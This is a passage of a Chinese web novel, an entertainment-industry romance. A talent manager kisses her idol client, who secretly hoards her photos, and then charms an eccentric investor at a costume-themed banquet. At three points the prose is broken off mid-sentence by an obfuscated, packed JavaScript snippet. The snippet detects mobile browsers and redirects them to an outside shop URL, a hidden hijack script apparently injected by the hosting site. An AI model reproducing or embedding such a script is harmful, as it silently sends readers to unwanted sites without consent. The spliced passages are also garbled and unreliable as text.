“兄弟不能看着你跳火坑啊!你糊涂哇,怎么能喜欢领导上司!” “你不懂。” “我当然不懂上学爱上老师,军训爱上教官,工□□上同事,就连买个奶茶都要爱上工作人员的人!” 奚亭云并没被萧子重这些话影响,反而面不改色地问:“你觉得甘惊鸿是同事吗?” 这话一出,萧子重用力往后拉拽行李箱的双手骤然松了力,身体平衡被打破,他不慎往后跌坐在地,怔愣地睁大眼睛看奚亭云。 萧子重是绝没想到,奚亭云模糊了半天的姓名,在这么猝不及防的时刻给他擦去朦胧的雾气,清晰的三个字就浮上心头。 显在眼前。 “你!” 奚亭云趁机拖着行李箱离开VIP茶室,茶室仿照民国时期的茶楼构造,二楼是一间间的VIP茶室,一楼则是大厅。 刚下了两层台阶,茶楼外走进来了两个人,一个奚亭云不认识,另一个即使只是看见了不甚清晰的侧影,他都能认出来。 宫欢穿着轻薄的青绿色薄纱外衫,内衬背心,头发扎了个低马尾,额头两侧的碎发绒绒的在脸颊两侧垂落着。 她嘴里说着什么,圆而大的眼睛随着话语眨动,和同行的人笑得开怀。 一霎那生动得像夏日雨前,滞闷的空气里拂来的凉气。 令奚亭云瞬间停驻,无法移动。 “老奚!!我都说了你不能——!!?” 萧子重回过神来,懊恼了几秒后又想冲上去拦住奚亭云。 脚步刚至楼梯口,却见,茶楼大厅那,仰着一张嫩白的脸,她瞪大眼睛不敢置信的呆滞模样,看着楼上的两人。 完了。 萧子重心想。 102. 心思各异4 “怎么了。”陈导看宫欢傻愣着往楼上看,也跟着看过去。 楼上的萧子重还是那身军装,却怎么看怎么都不太符合男三的性格,可偏偏他在镜头里的呈现却让人根本挑不出毛病。 这大概就是专业演员的功底吧。 接着陈导又看向了萧子重旁边的人。 第一眼先是清瘦,这人与萧子重差不多的身高,却比旁边那人瘦了一圈,面部骨骼感清晰明显,脸也非常小,鸭舌帽的阴影能挡住他的大半张脸。 那强烈的氛围感,隔着远远的距离,都能感受到他气质的突出,眉眼深邃立体,这么看着,莫名就给人一种——他久久站在那,深深凝视着谁。 似乎在诉说哪部电影的故事,你会自觉去脑补适配的景象。 “这人是谁?”陈导不由得出声问,“形象不错。” 宫欢这时才有些回神。 她反应太大了,太过了,一看就像是心虚,或者是…其他什么的! “哦,我,我的艺人,”宫欢解释道,她不再看楼上的人,只是带着歉意地向陈导解释,“陈姐,我有点事要处理一下,过两天再一块喝茶聊八卦吧。” 陈导倒很爽快,点头应下,临走前又用下巴朝楼上的人扬了扬:“挺会挑人啊,形象都不错,回头借我用用。” “好好好,我的姐,你快去忙吧。” 打发走了陈导,宫欢深呼一口气,清了清嗓子,尽量让自己维持住以往的雷厉风行的态度。 她又仰起头,见楼上两人还在那傻站着,一时有些绷不住地想白他们一眼,可想想在大庭广众之下,形象很重要,还是忍住了。 她左晃右晃,慢吞吞地走上了木质楼梯。 茶馆构造非常符合民国时期的建筑,每上一层台阶,都会发出轻微的吱呀声响,不清晰,却像是倒计时般在宫欢心头计时。 她顶着有些灼热的目光来到楼梯口,站定在两人身前,抬眼时目光在奚亭云脸上晃了一下,又匆匆跳到萧子重那边。 “你在这干什么,”宫欢逮住人就说,“剧组正在准备拍你的高光戏份,到处找你呢。” “真的假的,拍我的戏?”萧子重疑惑地指了指自己,见宫欢挑眉点头的肯定着,急匆匆地便准备走人了,只是走之前没忘了兄弟—— 萧子重手反手拍了下奚亭云的肩,靠在他旁边悄声道:“稳住,别被她牵着走!” 奚亭云默默地转眼看了他一眼。 萧子重满脸“你好自为之”的表情。 好像,在萧子重的脑补里,奚亭云是被宫欢哄骗的那方,他都能想象出具体的哄骗路径——宫欢用钱威逼利诱,忍辱负重的奚亭云便只能在威压下艰难生活,或是用PUA洗他的脑,让奚亭云唯她马首是瞻! 啧啧,怎么看都是惨剧啊。 穿过两人之间,萧子重下楼梯时还往奚亭云那频频投来“加油,不要屈服”的打气眼神。 是啊,要是被其他人知道,奚亭云和宫欢之间有猫腻的话,几乎都会去猜想——宫欢潜规则,奚亭云为钱迷失,资源垄断等等的可能。 这其实在圈子里是非常常见的事情。 一个是手握资源的金牌经纪人,一个是刚入圈的小爱豆。在一起没什么大不了,一个图色,一个图财,很和谐啊。 可不是,不是,全都不是! 宫欢的心神仍在震撼着。 她躲了奚亭云那么多天,在最毫无防备的情况下,撞上他暗含委屈、质问、不解的视线。 注视的短短几十秒内。 她被他的眼眸深深吸引住,无法离开,他本就眸色偏黑,眼窝微凹,高挺鼻梁的阴影使眼睛更为深沉。 深沉阴郁的眼眸里,是充沛的情感。 毫无掩饰。 她有一瞬间真的怕了。 她想摊牌说,你不用走歪路子我也会给你资源,以后你不要再动歪主意了。 可想到上次音乐节的舞台下方,她话刚说了没多少,他就,他就—— 像是要说出什么不得了的话。 她怕了,真的怕了。 她怕背上感情债啊! 啊啊啊,烦死了!! 心里烦躁,慌乱,可表面的和平还是要维持。 宫欢和奚亭云在楼梯口僵持着,除了刚才在他脸上晃了一眼外,她就没再敢看他。 她仍是垂着眼,盯着行李箱,盯着他的手背。手背上青筋凸起了几根,一路延伸至小臂,他将行李箱的拉杆握得很紧。 “你,怎么过来了。”她说。 “你最近一直在躲着我,我找不到你。”奚亭云说。 “谁躲着你了,”宫欢一下炸毛,抬眼看他,却瞬间被他的目光烫到,快速地移开眼,“我工作很忙的好不好。” “忙到看到我都要跳窗。” “忙到刚进了别墅大门转头就走。” “忙到深夜不开灯悄悄溜回房间。” “忙到......” “停停停!”宫欢打了个停止的手势,有些破防地单手扶额,“我、你,不是你天天都在盯着我吗!?” 奚亭云微妙地停顿了一秒:“没有。” 宫欢:“我才不信!” 她都躲得那么悄无声息了,他居然还是全都知道了! 这人,跟关清英学的侦查手段吧!! 宫欢真是使尽了手段,她挫败地耸下肩膀,无奈不已:“你到底还要我怎么样啊,你到底要干什么啊,不要太过分了好不好,我现在正是事业上升期,你们也在上升期,你不要太纠结这些感情问题好吗?” 难得的,宫欢表现出有些厌烦的情绪,这让奚亭云忽然意识到,他似乎逼得太紧。 因为她亲了他,他就焦躁不安,总想确认她亲吻的背后是接受他还是什么原因。 可她从那之后又一直躲着他,像受到惊吓。 奚亭云太想知道她的想法,他等不及,耐不住性子,所有的情绪都被她的一举一动牵动,他只是个空有壳子的傀儡,肢体的丝线全都向上延伸,想挂在宫欢手心里。 可她将丝线缠绕成线球玩,时不时抛远,又拿近。 让他的心绪反复。 “对不起。” 奚亭云忽而垂头,情绪低落,声音也灰蒙蒙的,“…我没想让你感到麻烦。” 本来就一身阴郁委屈的落寞气息,此刻更是染上一层灰雾,宫欢一度看见他头顶有片阴云,电打雷劈地在下雨来。 “我不是这个意思。” 宫欢有些无奈,她往楼下大厅看了看,茶馆里这会来的人有点多,她只得拉起行李箱,另一只手握住了奚亭云的手腕。 有点烫。 奚亭云便任由她牵着,乖乖地跟着她进了茶室包厢。 ...... 宫欢将他摁坐在座位上,自己则借着倒茶的动作,大脑飞速运转思考着。 这回该用什么借口,什么理由,什么委婉而不伤人的说法。 而奚亭云也在想。 她这回要用什么借口,什么理由,什么态度来模糊那真实发生过的事情。 如果可以的话,宫欢真的想拉个横幅告诉所有人:不要冲动,冲动让人死亡。 她倒好茶水,一人一杯,坐在奚亭云对面,看着十分自然,只是如果她的眼神不躲闪的话...... 足足打了十来分钟的腹稿,宫欢才重重呼出一口气,像是做好了决定,抬头,正视奚亭云。 而对方不知注视了她多久。 幽幽的,让人心颤的。 宫欢掐了掐手心,让自己不要被美色迷惑,做出公式化的沟通态度:“既然事情已经发生了,那我们就要好好解决,不能拖延,这样对谁都不好。” 她坐得板正,双手放在茶桌上,十指交叠着,俨然是公事公办的模样。 奚亭云跌落谷底的情绪因她这样的态度,更是难以平复,他有些哽咽,却极力压制着。 “你想怎么解决?” 当麻烦发生时,优先解决麻烦。 宫欢是这么想的,但看奚亭云愈渐阴郁的脸,以及眼圈泛红的情况来看,她要是再说两句话,他可能又要哭了。 啧。 男人怎么这么麻烦。 他怎么总是哭? 宫欢莫名冒出这个念头,可仔细想想,其实她只看到过他哭过一次,就是被敲诈勒索那回。 但宫欢却觉得,奚亭云很容易哭,他情绪太敏感了,总给她一种,一旦说出狠话,他会哭得泣不成声那种感觉。 这让宫欢一度产生些错觉——她可以掌控他的情绪。 这很可怕。 谁会让别人掌控自己的喜怒哀乐? 简直是自杀式行为。 可细究之前的种种,除了这一可能她想不出来别的原因了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126393|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底是不是呢? 宫欢沉默着,视线却在他脸上游移,最后落在他的唇上。 思绪一下闪回到音乐节那天,冰冷的轻钢囚笼隔不开两人的体温,他的手箍紧了她的腰身,唇齿摩擦着,灼热的呼吸在口中流转...... 她强迫自己清醒。 可抽离了回忆,现实是更让人无法移开目光的一幕。 奚亭云眼睛里有一层浅浅的水光,微微闪动着,眼睑又开始红了,带着一种不甘心又难过的情绪,微侧着头看她,极致的破碎感氛围让宫欢一度以为她又做了什么伤天害理的事情。 他的唇比眼眶更红。 莹润,鲜艳,冷白色的皮肤更衬他唇的艳红。 宫欢脑中忽得冒出个念头,如果她真的可以掌控他的情绪,为什么不试试? “......你说吧,我可以承受得——” 在奚亭云这句话出口的短短几秒里。 宫欢迅速从她的座位里起身,她绕至茶桌一侧,突然地迈步上前,来到奚亭云面前。 他被一阵阴影笼罩,紧接着是充盈的香气,迅速涌入鼻腔,大脑,她的手抚上他的肩膀,倾身过来,一切快到奚亭云无法反应,他只能僵着身体任由她动作。 宫欢的脸由远及近,并且放大了许多,唇与唇相贴,丰润的嵌合,奚亭云呼吸着她呼出的热气,听到她紧张的心跳声。 那些不安,焦躁,等待被审判的狼狈一扫而空,他又被她眷顾了。 他再次像上次那样,胆大妄为地启唇,含住她的下唇,舔舐她的口红,将鲜艳的唇色舔到模糊晕染,也许有些蹭到了他的唇上,这更令奚亭云心底泛起隐秘的窃喜。 他的手在颤抖,扶住她微弯的腰身,协助她坐在自己腿上。 他仰着头,沉浸缠绵在长吻中,微眯着眼的缘故,眼尾不多的泪珠闪着晶莹的光,有轻柔的手轻轻拭去那点水意。 奚亭云几近疯狂。 他更紧地拥住她,喉间难耐地溢出低哑喘息,他强势地扫荡她口中的液体,像久逢甘霖地吞咽着,迫不及待地汲取来润泽他干渴的喉咙。 他呼吸急促起来,很难听,呼哧呼哧地像条狗。他面目狰狞贪婪,是最下贱的欲望交织处的面容,丑陋,不堪,他怎么配…怎么敢吻她… 可他偏偏得到了不敢奢求的东西,她在纵容他,她知道他是多么恶心的人吗,他的脑子里有过多少下流龌龊的念头,简直是,该死的。 不要对他这么好……他会忍不住得寸进尺,一步一步地…要得更多。贪婪的人永远不会满足,所以不要满足他们的欲望,一旦给了一点,就会形成无底洞,永远无法填补完满。 他怕她不喜欢,有些担心地叫她“欢欢”,在她喘息换气时,留恋的唇一下下吻着她唇角,脸颊,不停地用头去蹭她的脖颈,唇不经意地吻了吻她修长白皙的脖颈。 那儿的肉很嫩,他不敢用力。 他什么理由都不想要了。 只要宫欢想,她随时都可以丢弃他。 …… 片刻后,宫欢推了推他的头,气息不稳:“别乱蹭了我说。” 她被他牢牢抱着,又坐在他腿上,身体全都不由自己说了算。 她刚才怎么会有“他由她掌控”的错觉? 现在好了,被人挟制住,一点都动不了。 奚亭云被推开的头没再回去,眼里有些遗憾,他空出一只手倒了些茶水,另一只手看似松懈,实则紧紧环着宫欢的腰。 他将茶盏递给宫欢,她没多说,确实很渴,就着奚亭云的手,两三口喝完了。 奚亭云继续给她倒水,她几口喝完。 就这么来回了四五次,宫欢才感觉没那么渴。 他又倒来一杯,宫欢摇头,“我快喝饱了,不喝了。” 奚亭云这才将茶盏递到自己嘴边,小口喝起来。 宫欢的目光难免落在他红肿的唇上。 他的唇边晕染了一圈模糊的口红,下巴都带了些,更多的,大概被他舔掉,吞咽入腹了。 宫欢摸了摸自己的唇,嘶,痛,她蹙眉,奚亭云紧张地问:“很疼吗,要不要擦药?” 头虽然还是晕晕乎乎的,但宫欢有几分清醒,她摇摇头,有点搞不清状况。 她刚才是不是,又冲动了? 可现在至少验证了——她的确可以掌控他的情绪。 只是,代价有点大。 103. 心思各异5 宫欢将奚亭云安置在她所居住的酒店的对门房间。 先声明一下,这不是她的想法,是奚亭云要求的。 当时,奚亭云一挥来时的阴郁落寞,满脸带着笑意,语调柔缓好听:“我想和欢欢住得近一点。” 宫欢当时就忍不住吐槽:“那你干脆睡在我床底下算了。” “可以吗?” “......” 这是奚亭云本人吗?? 宫欢感觉他是不是被谁夺舍了? 她深呼吸好几下,看也不看他说:“我要去忙了,你自己随便转转吧。” 说着便一溜烟地快步走远了,生怕被人留住。 好在,奚亭云有分寸,并没出声。 等人消失在走廊,他才推开酒店房间的门,拉着行李步入。 房间较大,有单独的客厅,奚亭云将行李箱倒在地上,输入密码打开,他单手扶住半开的箱体,手微微用力一推,啪嗒。 完全敞开的箱体内,整齐的叠放着杂志海报,应援牌,横幅,除此外,更多的是宫欢的照片。 他伸手从中随意拿起一张,那是宫欢前段时间在新星晚宴上,正在接受采访的照片。 他将照片凑近了,拿到面前仔细地看。 照片里的宫欢笑得明媚张扬,一身简约低奢的服饰衬得人清新靓丽。 这张照片是他拍的。 角度完美,在她身前的那些记者黑压压一片,被虚化为背景板,唯有她鲜活的存在着。 他看了很久,久到眼睛发涩酸胀,该放下了。 手指紧紧捏着照片的边缘,慢慢移近,奚亭云喉结微动,口中叹出一口气,头缓缓低了下去,吻又落在了她的身上。 灼烫的唇在冰凉的照片上停留,过了十来秒才移开,奚亭云模糊的视线里——照片上印出了浅浅的红色唇印。 他怔了怔。 手指抚上自己的唇,似乎还能感受到刚才吻过的余温。 香气,热烈,亲密的暧昧紧紧将他缠绕,他恍惚以为刚才的一切都是幻觉,是他多年来不堪言说的梦。 他怕被宫欢发现一些细微的反应,他克制着躲避身体的触碰,才没被她发现自己那恶心,让人厌恶的欲望。 她只是,亲了他。 他就难以自持地有了那些反应,像是随随便便发情的,让人嫌恶的野兽。 他不想让她知道这样的他,他极力维持自己的形象,保持作息,饮食清淡,他想要随时随刻她看见他时,都不会移开目光。 他要宫欢喜欢他。 奚亭云坐在行李箱前发怔,不知在想什么,身体缓缓向后倒下,发出闷响,他躺在地板上,身体缓缓蜷缩着,逐渐抱紧了怀里的照片,像是这样就能将她抱在怀里。 他用脸贴上照片,亲密无间地蹭动,眉头舒缓开,心底是难以言喻的满足。 - 冲出了酒店大门,宫欢便开始悔不当初。 她边走边想抽自己嘴巴,但还是没舍得下手。 冲动了,又冲动了! 上次还可以说她是因为在舞台底下缺氧,所以才身不由己,手和嘴都不听大脑的。 那这次呢? 她只是想试试,来确定她的猜测是不是真的,虽然感觉还不错,但是,但是这是条找死的路啊! 麻烦了,麻烦大了。 宫欢一边走路,一边唉声叹气,满脸的悔恨。 现在怎么办,她人都亲了,再怎么撇清关系也没用。 等等等等。 现在是什么情况,奚亭云想上位,所以勾引她,她完全无法抵抗,所以亲了。 只是亲了一下,又不是睡了! 事态还没发展到无法挽回的地步。 宫欢靠着一棵树,愁眉苦脸地唉声叹气。 做胡萝卜的牺牲程度实在太大,不仅要有情绪价值,现在还得把自己也搭上。 她有点烦躁,说不清来源于哪里,是奚亭云的反应,还是她的冲动,都混乱模糊成一团,无法缕清。 为了二十亿大计,稳住男团,稍微牺牲一点色相,是无伤大雅的。 反正她现在多了个外甥,再多个地下暧昧情人也没差。 一会功夫,宫欢就想通了,捋顺了一团乱麻。她收起情绪,打了辆车去竖店影视基地附近。 现在的情况是,萧子重接私活,奚亭云乱跑过来,安声估摸着还在搞直播跳擦边舞,一个个的不务正业。 说到底,还是闲的。 这段时间,她在竖店也没闲着,四处联系剧组导演看有没有好资源。 宫欢本意是想给甘惊鸿或是关清英找,不过现在看来,或许让男团三人客串一下,在荧幕上混个脸熟也挺好。 最近宫欢通过陈导认识了个土豪,地地道道的土豪。 据说是前些年通过房地产项目赚了上亿元,各行各业都混过了,这两年特别喜欢娱乐圈里的小明星们,经常砸钱投资买乐子。 偏偏人运气特好,投资哪部剧,哪部就爆火,业界内的人都说她眼光毒辣。 这位土豪手握了不少项目资源。 通过陈导,宫欢才跟人约上了饭局,地点由对方定。 这会时间差不多,她从手提包里拿出气垫补妆,又下意识拿出了口红,刚拿出来就顿了顿——算了!不擦了! 省得她又会胡思乱想。 车到地方,宫欢推门,长腿一迈便下了车,她抬头一看——入目的高亮字牌写着——【皇氏宫御大酒店】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126394|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 门口的装潢浮夸高调,黄澄澄的大灯笼挂了一排,迎宾的服务员个个穿着形似影视剧里的宫女太监服,在有客人进去时,纷纷蹲身行礼,口中还随时说着:“恭迎主子。” “……” 宫欢当即就想坐车离开,可惜司机比她跑得更快,早就没了影。 她只得掐了掐人中,认命似的蒙头冲了进去。 富丽堂皇的迎宾大厅里,往来的服务生个个姿态挺拔,仿佛经过专业特训,走路的步伐,手臂的摆动都一模一样。 宫欢浑身膈应地来到前台,报上陈导大名后拿到了VVVVVIP包厢的门号。 前台两人穿着清朝格格的服饰,面带微笑:“请您稍等,由宫人为您带路。” 宫欢:“......” 她实在不适应这种情景式酒店,轻咳一声,想说她能自己去。 突然,一个服务生迈着小碎步快步过来,当场给宫欢行了个大礼,宫欢以为他要下跪,吓得往后躲了半步——她可受不起,夭寿啊! 好在大礼只是深蹲着侧身行礼,服务生说:“请主子跟随我来。” 宫欢擦了擦头上的汗,默默跟上。 来到预定包厢,门半敞开着,服务生距离门口几步远的时候就先高声道:“贵客到~” 宫欢:“……” 没记错的话,她应该是没穿越。 包厢里先传来陈导的声音,随后人也跟着出来。 在陈导走出门的那刻,宫欢眼睛更是直了——陈导一身的深蓝色长袍官帽,活脱脱的大臣装束。 怎么还有角色扮演!?? 陈导看见宫欢便乐呵呵地过来拉着她往里走:“可算到了,再晚一点就要罚酒了。” 宫欢压低声音:“你怎么穿成这样!?” “生活所迫!好了,等下少说几句。” 随着陈导进了包厢,宫欢转眼便看见坐在主位上的‘土豪’。 陈导为她引荐:“这位就是我跟你说的大投资人了,金姐!这位就是备受关注的——” “我知道她。” 主位上的土豪金姐穿着宽大的金黄袍,材质略微简陋的黄色布料反射着灯光,她身型肥软,面容看着和善可亲,一张口却是非常豪迈的腔调: “就那个那个,谁,‘娱圈公主’!” 宫欢再次:“……” 怎么连皇帝都cos了!? 今天是她感到无语次数最多的一天。 金姐声如雷霆:“不是吗!?” 她嗓门大,听起来有些像是吼人。 微妙的沉默过后,宫欢面上很快的浮上笑容:“——那可不就是嘛!” 被人这么叫出黑称,还是有点羞耻的。 104. 心思各异6 入座,菜一一上着,宫欢与陈导两人陪坐在侧。 宫欢有点坐立不安,她有种不祥的预感,大概从土豪金姐说出的‘公主’那刻起。 圆形转盘上的菜肴足有100多道,每道菜的品相极佳,色香味俱全,菜的样式个个做得浮夸精细,非常符合该酒楼风格。 酒上的是茅台,金姐自来熟地给陈导和宫欢各倒了一杯,端起酒杯向宫欢说:“我一看你啊,就觉得特别投缘,为这点眼缘,来干一杯!” 宫欢忙举起酒杯,放低了杯口凑过去跟人碰杯:“谢谢金姐,我一直都听陈导说您的投资眼光毒辣,前些年房地产项目稳赚不赔,这两年投资的影视项目也都爆火叫座,能跟您喝一杯酒,那真是我的荣幸。” 两人一饮而尽,金姐哎了一声,挥手道:“哪有那么厉害,都是运气。” 陈导顺着捧她:“运气也是实力的一部分啊,小欢我跟你说,金姐最近又看中了好几个项目,我看过本子,一眼就能看出来是要大爆的项目。” 陈导特意点出来,好让宫欢接话。 但金姐往后靠着座椅,风轻云淡地说着:“爆不爆不重要,最近要捧个小明星,就随便给她堆点资源,我就没指望能赚钱,人开心就好了。” 喔......宫欢和陈导互相使了个眼色。 正是搭茬的好时机! “金姐喜欢的明星那肯定有不凡之处,说不定过段时间就能拿奖,”宫欢说,“是什么项目,好拍吗?” 金姐拿着筷子夹菜,大口往嘴里塞,肥肉配白酒,满嘴流油,她抽了张纸巾擦嘴。 “好像,是个仙侠剧,那姑娘挺喜欢的。” 陈导仔细想了想,一拍大腿:“是不是【风雨九州】?” 金姐抿了口白酒,龇牙品鉴道:“是这个名。” 宫欢不太了解项目资源内幕,她疑惑地看陈导:“是最近准备开拍的影视?” “何止是准备开拍啊,”陈导夸张地跟宫欢说,“【风雨九州】是漫画改编IP,之前火了很久,不少人想买下来拍电影,但是电影篇幅短,没办法把故事全讲完,所以大多数内行人都在想是改网络剧还是影视剧。” “这漫画火了有些年了,积攒不少粉丝,一说要改编影视,那热度马上就上去了,讨论度空前绝后的高,都在说谁才配得上女主等等。” 一说起影视本子,陈导就上头了,一直絮絮叨叨给宫欢科普一堆关于【风雨九州】的内幕。 从版权IP竞争,到影视公司的介入,制片人与班底的安排,到选角,那是历尽风波,到现在在金姐的横插一杠下,女主演敲定最近小火的一个二三线演员。 宫欢趁着去洗手间的时候查了查资料。 【风雨九州】讲述了女主原是开天始上神,因为嫌无聊下凡历劫助民,一路降妖除魔结识了人皇男主,男主想让女主为他开疆扩土,求而不得后将女主污蔑为祸世妖星,于是被各方人士追杀到了阴曹地府,女主经人点拨后发现自己的身份,更是怒烧阎罗殿闯出鬼门关,恢复上神身份,降难于人世的故事。 故事主要围绕女主展开,感情戏不多,主要是突出女主的故事线路。 宫欢回到包厢时,仍是心事重重的样子。 仙侠剧啊,这两年最火了。 国人对古代、仙侠、武侠都情有独钟,要是能让男团三人去混个小角色,客串一把,怎么都不亏。她都不说男三男四了,哪怕是演个单元角色都可以。 有漫画IP在前,热度绝对不低。三人形象也好,回头在剧播出后肯定能引起一些话题度。 宫欢再配合营销一番,小火不是问题。 这是个绝佳的好机会。 回到座位,宫欢在心底为自己鼓劲,她一定要拿下金姐,让她往这部剧里塞人! 但,宫欢刚将茅台酒倒满了酒杯,还没来得及举杯说场面话认亲,金姐先发制人。 包厢门再次被人推开,几个服务生捧着木托盘,分别放着衣裙,旗头,甚至连那花盆鞋都有。 “来来来,我们的‘公主’在这!”金姐倒是非常乐呵地将宫欢拉起来,像是在玩奇迹暖暖似的,让她去比一下衣服,“看看合不合身。” “......” 宫欢一言不发地走到服务生中间,任由他们将衣服贴在自己身上对比尺寸,她看了眼陈导。 陈导眼中虽然有同情流露,可她也自身难保,她还不是cos了大臣!? 看来是逃不过要角色扮演的命运了。 宫欢两眼无神,认命了:“换衣间在哪儿,我去换上吧。” 金姐非常热情地指了指包厢旁边的小房间:“那边那边,哈哈哈换了衣服之后才更有沉浸感嘛。” 圈内人人都有怪癖,宫欢怀疑,金姐的怪癖就是——玩真人版奇迹暖暖。 - 一顿饭局下来,可以说是非常顺利,宫欢没费多少口舌就拿下了资源。 是没费口舌,但是费了精神。 她穿着那要人命的花盆鞋表演才艺,为了逗乐金姐就差翻跟斗了,好在最后金姐知道宫欢的目的,没多拿乔,就答应了让她塞人去剧组客串。 当然,同行的陈导也获得了好处—— 【风雨九州】的剧组班底定了,但导演班子没彻底定死,还在商讨当中,陈导可以作为特邀导演参与。 算是好事成双。 不过,资源没那么容易拿到。 饭局结束了,金姐还觉得不尽兴。 陈导一身大臣的装束,在金姐旁边出主意:“要不去酒楼楼上的足疗泡泡脚,舒缓一下身心,再聊聊天,我们这些小辈都想听听您对圈内投资的见解。” 见金姐点头,宫欢不知怎么想的,脑子一抽,自告奋勇道:“这里的足浴药水不一定够好,金姐,我可认识一个养生大师,她调配出来的药水都是绝好的,您放心,我来帮您调配这些!” 金姐甚是欣慰,大手拍在宫欢肩上,险些给她拍趴了:“还是小欢贴心啊。” 几人转移到了酒楼的足疗区域,vvvvVIP可自行选择药材进行浸泡。 宫欢让陈导陪着金姐先进了包厢,自己则拿出手机,拨通了“养生大师”的电话。 “嘟嘟嘟——哈喽,小欢?” “莉姐!”宫欢嘴甜地叫道,她捧着手机来到药材配比处,面前一整面墙上木格抽屉里密密麻麻的放置着中药材,她看着那上百种药材犯了难,“有事求你呀。” 赵莉莉那边传来嘈杂的吵嚷声,她不多绕弯子,“说吧。” “我想挑一些泡脚用的药材,你有好的推荐吗。” 难得啊,赵莉莉讶异地小声惊呼,平时在别墅里,人人都怕她熬的中药。宫欢虽然很多时候是好奇的,可也不敢过多了解这些。 今天怎么转了性了。 宫欢没多说,只是催着赵莉莉快些告诉她药材配比,她急着要用。 足浴药材配比处有工作人员来来往往,一些人时不时地看向这里的一位客人。她不像其他人,按照推荐配方随便抓点就好了,她,不太一样。 “花椒…生姜…什么叶?” 宫欢歪着头,与肩膀斜着夹住手机,手在药材间来回倒腾,赵莉莉那边吵吵闹闹的,她听不太清,听了半天,眼睛在放着药材的小木盒什么搜寻——“哦哦我知道了,是这个!” 宫欢踮起脚拉开写着香叶的小木盒,手伸进去抓了一把,丢进竹篮里。 根据赵莉莉那边时不时被模糊的声音,宫欢精准地都拿对了药材,完事儿后她对手机那头爽朗的说了声谢,挂断手机。 端着一竹篮的“药材”递给工作人员,宫欢报上了自己所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126395|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在的包厢号,拍拍手悠悠然离开了。 也没那么难的嘛,虽然那些药材闻起来味道奇怪,但有赵莉莉指点,她还不是很快就拿完了。 宫欢走远没多久,工作人员看着竹篮里的“药材”面露难色。 没办法,这是客人的选择,工作人员只得将药材拿去熬煮。 煮药材的房间里本就传出一阵阵的中药味,在这工作人员进去后不多时,渐渐地,房间里味道更为浓郁,路过的人都不免嗅闻一番,评价道—— 这卤味,真绝了! 半小时后,工作人员端着一盆香味浓郁、回味悠长的药汤来到vvvvvip包厢,恰逢宫欢走出来,她非常期待地问:“煮好了吗?怎么样?” 工作人员低头,看了眼药汤表面漂浮着的几根干辣椒和花椒生姜片,默了默,实在是不知道要怎么回答。 宫欢以为这人内向,也就没多问,探头看了眼浴盆里的药汤,飘入鼻端的味道不像健康的中药味,反而像是…… 对,她之前开车路过的卤味摊贩味道! ——!? 宫欢脑中登时铃铃铃响起来,她拦下了工作人员,紧急拿手机给赵莉莉发消息:【莉姐,为什么煮出来的泡脚水一股卤味?】 赵莉莉隔了会回了几个药材配方:【是这几样啊,怎么会呢。】 宫欢瞪大眼睛看那几样药材,心湖里猛坠进去了几块大石头——她完了。 艾叶听成香叶,鸡内金听成桂皮,就连甘草也听成了八角…… 最后,望着一盆卤味药汤,宫欢内心十分复杂,要不要再拖延点时间赶紧换一盆? 众所周知,墨菲定律说:如果事情有变坏的可能,那么,不管这种可能性有多小,它总会发生。① 于是,在宫欢准备启动紧急备案时,vvvvvvip包厢的门开了。 穿着明黄色暗纹寝衣的金姐呲着大牙:“等你好久了小欢,又在准备什么惊喜啊!” 宫欢没绷住,带着哭腔笑了一下,左手还握着手机,右手伸向旁边的【究极卤味汤】,她视死如归地说:“就是这个了!” 没事的没事的,到时候就说,隔壁卤味店和酒楼弄错了,她完全不知情! 金姐眼神惊奇,走了两步靠近过来,倾身去看足浴盆里的“药汤”。 宫欢心口扑通扑通的跳,那是死亡的跳动。 再见了好资源,再见了20亿,这辈子,她只能到这了。 正当宫欢准备以逃明志时,金姐大笑一声,笑得宫欢感受到了地板在震动,她惊慌失措地左右看了看,生怕地震发生了。 等宫欢看清是金姐在笑时,她胆战心惊地小声道:“金姐,您,您要是不喜——” “太好了!太香了,”金姐说着一把揽住宫欢,拖着她往包厢里走,吆喝着和陈导说,“这妮子聪明啊,居然知道我喜欢卤味汤,专门配了这种料来给我,好好好,就喜欢你这种聪明人!” 被人强行拖得半踉跄半跳的宫欢没明白过来,她懵了半响,见服务生端着浴盆进来放在“龙椅”的前面,又理解了一番金姐的话,才知道怎么回事。 她,误打误撞地,把事儿办成了? 金姐将她摁在座位上,自己也回到“龙椅”处,卷起裤腿,双脚放入温热的药汤里,浑身舒畅地长叹一声:“舒服,真是太衬我心意了,还真是陈导说的那样。” 宫欢掩饰着她的心虚,将脚也放进了浴盆里,不太理解地问:“陈导说的……?” 